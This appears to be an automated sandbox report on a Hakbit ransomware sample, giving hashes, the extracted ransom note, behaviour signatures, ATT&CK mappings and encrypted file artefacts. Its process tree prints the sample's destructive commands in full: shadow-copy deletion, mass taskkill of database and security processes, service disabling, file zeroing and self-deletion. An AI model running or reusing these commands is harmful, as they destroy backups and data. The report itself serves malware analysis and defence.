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Analysis

  • max time kernel
    34s
  • max time network
    38s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    01-07-2024 18:03

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: sj/cHPvaiLt7Q037MH3vu3Kd9nUYvn5wx7A45uKIcZ1qwb6OcgDu5B8e9UXeUHA2TdEN+Aapr5xwTtrlVTGb84xFdafIw5lGYGbGrwBIRxv82qNKw7kVkm0NAnKgBTY/wh0CfFM6ZeidtZHas5elt2TeTbpC6Cu1vF8abn8yfvhuOMakRQl9Ek5XXoWhyqsUWoOMWAw63VHO3erPFUU220qk0PdcjjfnO9W6wi0wR0mAnNi8Oo4ETIIzD4hBTT1A7sDSiuKBMmvwdfYMpWje+74gpsoKRnXA11vL4rHaCHk0DpxZrBrgSfjlH5pUOtqraaYn/fCOUnSE6CQGu7DPOc/gS2PgzkG7FBznXyI2rp4ZrU83bgmGweFur54VuId1rNzEcUh2Kl7Vb9wWbiyWVi0tIXIQCydh0zyRcDyh7YKDNLGr9fRGE7VmuZ511Orw/OQlUu/zCmC/rXD6xmHBTlELkDQ9E/18HYtCFRV7xDS3nHearyhxMIKeZ3UEmxxtMKqvgKS75zoWY19tVbWJnui7j2gPbgtDq9RHs1CgGNK37EpI6lxmfzvcJ1eYKTupHxvXFlDSNkoyMCpewThLOcUrF3igXnK5m7u/FHBhA1csaFzbMmHcV4kpbukqbI1jEYFN1xmQkg6NyGWyQc36pU6bgJH7dVad4zniAn5SNTM= Number of files that were processed is: 465

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\system32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:1152
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLTELEMETRY start= disabled
        2⤵
        • Launches sc.exe
        PID:2560
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
        2⤵
        • Launches sc.exe
        PID:2744
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLWriter start= disabled
        2⤵
        • Launches sc.exe
        PID:2516
      • C:\Windows\system32\sc.exe
        "sc.exe" config SstpSvc start= disabled
        2⤵
        • Launches sc.exe
        PID:2524
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2584
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2216
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2488
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqbcoreservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2480
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM firefoxconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2476
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        PID:1664
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        PID:1940
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        PID:1760
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        PID:1916
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        PID:1932
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        PID:2892
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        PID:2248
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        PID:1768
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        PID:1668
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        PID:1120
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        PID:1124
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        PID:1464
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        PID:1492
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        PID:1064
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:1508
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        PID:2340
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        PID:2364
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        PID:1844
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        PID:2056
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        PID:2316
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        PID:2100
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        PID:2508
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        PID:788
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        PID:2628
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        PID:1768
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        PID:2260
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        PID:760
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        PID:1916
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        PID:1840
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        PID:2412
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        PID:948
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        PID:1348
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        PID:564
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        PID:1260
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        PID:1708
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        PID:2044
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        PID:1748
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        PID:3060
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        PID:2888
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        PID:2364
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        PID:2100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
          PID:1796
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1252
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
          2⤵
            PID:2124
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.7 -n 3
              3⤵
              • Runs ping.exe
              PID:3024
            • C:\Windows\system32\fsutil.exe
              fsutil file setZeroData offset=0 length=524288 “%s”
              3⤵
                PID:2860
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
              2⤵
                PID:904
                • C:\Windows\system32\choice.exe
                  choice /C Y /N /D Y /T 3
                  3⤵
                    PID:1964

              Network

              MITRE ATT&CK Matrix ATT&CK v13

              Execution

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Privilege Escalation

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Discovery

              Remote System Discovery

              1
              T1018

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\Microsoft\Assistance\Client\1.0\de-DE\Help_MValidator.Lck.energy[[email protected]]
                Filesize

                16B

                MD5

                ba4c3179e92ebb45be52e9b528d87169

                SHA1

                819af3e9d9e7df6aad2fe0552e076d95046c83f4

                SHA256

                18cd9a7fcbfd5a4ca7c0cb2ac85014aed5fe5cf3de702c6600951ea8895ebcbb

                SHA512

                75cc9ba1ffa1bd4d09c868b8a7c283f880a92ea0cbdee416f4f709c41ecb6fd483ec1ff2cbcaf002df691cc0734c21f4b95b083371af0a0f093e27959d9b2893

              • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
                Filesize

                180KB

                MD5

                6539f6a99ac7d37feae87703161478ed

                SHA1

                7d6dc5d621ad2ad24a63ab8b5e334e3cda9a52e4

                SHA256

                e47063cf10544b903a30c9eb89f9ed60f00f466206cd11d9a29fd372274f85bf

                SHA512

                f05b9ec217576ffe4344807765eb53feb9fef222f18e09f62ad4b66ee1a0c65c6f1fd9fdfb96c5371bf204a6bee763dc2532718dab0569bff861f3383a1b9937

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                Filesize

                7KB

                MD5

                cd9cae6f593a5e807553e7a2d3506501

                SHA1

                f54805b922417651dbff2fe210554fa6d81f0691

                SHA256

                d4da27355cdda1344f058dced0ad96b3fe3a8fff588e00291b6ce37cd9ef19ba

                SHA512

                a3f8215683e8656ecd7d2357dd38b6857e5fdb6022d1aa99b4246800b86cd40c68b0193de284e70bcf6c3c78abb3654e7a880f4a9156baa5d53196646e0385d7

              • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                Filesize

                828B

                MD5

                1c9f8ee33262b588deddc26181cbdead

                SHA1

                b7987d06513314c3c61185f503c818d547603e56

                SHA256

                9df2e522e6041d1f7390ce682a8726bc54354b4cd2a6ee23441d920650a100e3

                SHA512

                8838eead883c4043aa1628f4d72e69c9880114a80a70278a0212dbf0127956a2802da66a31fb7aca269fcadc0ec4d8acd06a974e761beec0f37e130d0056100a

              • memory/1796-9-0x000000001B2C0000-0x000000001B5A2000-memory.dmp
                Filesize

                2.9MB

              • memory/1796-10-0x00000000024F0000-0x00000000024F8000-memory.dmp
                Filesize

                32KB

              • memory/2772-0-0x000007FEF58E3000-0x000007FEF58E4000-memory.dmp
                Filesize

                4KB

              • memory/2772-1-0x00000000010A0000-0x00000000010BA000-memory.dmp
                Filesize

                104KB

              • memory/2772-8-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp
                Filesize

                9.9MB

              • memory/2772-311-0x000007FEF58E3000-0x000007FEF58E4000-memory.dmp
                Filesize

                4KB

              • memory/2772-372-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp
                Filesize

                9.9MB

              • memory/2772-586-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp
                Filesize

                9.9MB